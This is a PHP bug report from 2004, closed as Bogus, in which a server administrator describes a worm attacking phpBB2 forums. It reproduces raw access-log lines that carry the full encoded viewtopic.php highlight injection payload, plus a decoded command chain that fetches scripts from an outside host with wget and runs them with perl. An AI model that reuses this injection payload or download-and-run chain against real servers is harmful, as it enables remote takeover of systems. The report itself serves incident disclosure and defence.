#31333 [Opn->Bgs]: php worm Virus with phpBB2

ID: 31333 Updated by: tony2001@php.net Reported By: andrew at tophk dot net -Status: Open +Status: Bogus Bug Type: Unknown/Other Function Operating System: Solaris 8 x86 PHP Version: 4CVS-2004-12-29 (stable) New Comment: Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. We do not support third-party applications. Thire is no bug in *PHP*. Previous Comments: ------------------------------------------------------------------------ [2004-12-29 14:02:40] andrew at tophk dot net 1 ------------------------------------------------------------------------ [2004-12-29 14:01:36] andrew at tophk dot net Description: ------------ Problem :- I feel many Apache+PHP+phpBB2 server got php Worm Virus. My access log file show many server try to send that virus to my server. This Virus can download and run some perl program in your server folder /tmp or /var/tmp. And these would using much more CPU power. I feel not just one version php Worm Virus. I have see some C program in my /tmp. I think that back hole not just in phpBB2. Other php program may be got this back hole Apache Access Log:- p.s. the follow /forum/viewtopic.php is phpBB2 program file 66.98.142.28 - - [25/Dec/2004:17:30:03 +0800] "GET /forum/viewtopic.php?t=206&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(1! 14)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252! echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%! 252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252ech! r(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527 HTTP/1.0" 200 54016 "-" "lwp-trivial/1.41" 195.78.58.246 - - [25/Dec/2004:17:30:24 +0800] "GET /forum/viewtopic.php?t=211&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(1! 14)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252! echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%! 252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252ech! r(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527 HTTP/1.0" 200 27876 "-" "lwp-trivial/1.34" Analyze Log result:- 66.98.142.28 - - [25/Dec/2004:17:30:03 +0800] "GET /forum/viewtopic.php?t=206&highlight=%2527%252esystem(..DATA..)%252e%2527 HTTP/1.0" 200 27876 "-" "lwp-trivial/1.34" ..DATA.. Content is (cd /tmp;wget www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget www.visualcoders.net/php.txt;wget www.visualcoders.net/ownz.txt;wget www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl ownz.txt;perl php.txt) That mean the Virus doing the following step:- cd /tmp; wget www.visualcoders.net/spybot.txt; wget www.visualcoders.net/worm1.txt; wget www.visualcoders.net/php.txt; wget www.visualcoders.net/ownz.txt; wget www.visualcoders.net/zone.txt; perl spybot.txt;perl worm1.txt; perl ownz.txt;perl php.txt p.s. Not just this version My Action:- Upgrade to Apache 1.3.33 No Use Upgrade to PHP Version 4.3.11-dev No Use Upgrade to phpBB 2.0.11 No Use Change Program /usr/local/bin/perl or Useful /usr/bin/perl filename to another name Change Program 'wget' to another name Useful Summary:- That virus let me know how to Hack another Apache+PHP Server. I hope this report can help your. p.s. I think that problem is not just phpBB2 Thanks !! ------------------------------------------------------------------------ -- Edit this bug report at http://bugs.php.net/?id=31333&edit=1